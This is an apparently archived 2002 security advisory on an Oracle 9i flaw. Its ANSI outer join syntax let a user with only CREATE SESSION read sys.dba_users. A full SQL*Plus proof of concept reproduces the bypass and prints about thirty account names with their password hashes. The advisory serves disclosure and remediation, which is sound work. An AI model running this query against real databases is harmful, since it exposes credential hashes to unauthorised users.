17th Apr 2002 [SBWID-5275]
COMMAND
Oracle ANSI outer join syntax allows access to any data for basic user
SYSTEMS AFFECTED
Oracle 9i
PROBLEM
In Pete Finnigan [www.pentest-limited.com] advisory :
Oracle 9i includes the new ANSI outer join syntax. Oracle still
supports the old syntax but in the new syntax there is a serious
security issue that allows any user to view any data.
here is an example:
SQL*Plus: Release 9.0.1.0.1 - Production on Tue Apr 16 15:16:45 2
(c) Copyright 2001 Oracle Corporation. All rights reserved.
Connected to:
Oracle9i Enterprise Edition Release 9.0.1.1.1 - Production
With the Partitioning option
JServer Release 9.0.1.1.1 - Production
SQL> connect / as sysdba
Connected.
SQL> CREATE USER us1 IDENTIFIED BY us11;
User created.
SQL> Grant Create Session to us1;
Grant succeeded.
SQL> connect us1/us11;
Connected.
SQL> select a.username, a.password
2 from sys.dba_users a left outer join sys.dba_users b on
3 b.username = a.username
4 ;
USERNAME PASSWORD
------------------------------ ------------------------------
SYS D4C5016086B2DC6A
SYSTEM D4DF7931AB130E37
DBSNMP E066D214D5421CCC
AURORA$JIS$UTILITY$ INVALID_ENCRYPTED_PASSWORD
OSE$HTTP$ADMIN INVALID_ENCRYPTED_PASSWORD
AURORA$ORB$UNAUTHENTICATED INVALID_ENCRYPTED_PASSWORD
SCOTT F894844C34402B67
US1 491AB9AB94D8A9EF
OUTLN 4A3BA55E08595C81
ORDSYS 7EFA02EC7EA6B86F
OLAPSVR AF52CFD036E8F425
USERNAME PASSWORD
------------------------------ ------------------------------
OLAPSYS 3FB8EF9DB538647C
ORDPLUGINS 88A2B2C183431F00
MDSYS 72979A94BAD2AF80
CTXSYS 71E687F036AD56E5
WKSYS 69ED49EE1851900D
OLAPDBA 1AF71599EDACFB00
QS_CBADM 7C632AFB71F8D305
QS_ADM 991CDDAD5C5C32CA
QS 8B09C6075BDF2DC4
QS_WS 24ACF617DD7D8F2F
HR 6399F3B38EDF3288
USERNAME PASSWORD
------------------------------ ------------------------------
OE 9C30855E7E0CB02D
PM 72E382A52E89575A
SH 9793B3777CD3BD1A
QS_ES E6A6FA4BB042E3C2
QS_OS FF09F3EB14AE5C26
RMAN E7B5D92911C831E1
QS_CB CF9CFACF5AE24964
QS_CS 91A00922D8C0F146
30 rows selected.
SQL>
This shows that a user with the barest of privileges, i.e. CREATE
SESSION can actually see data in the data dictionary that should not be
seen. In this example we can select the list of usernames and their
hashes.
SOLUTION
Oracle assigned bug ID 2121935 to the issue.
Its marked as fixed in version 9.2 and will not be back ported to
earlier versions of Oracle.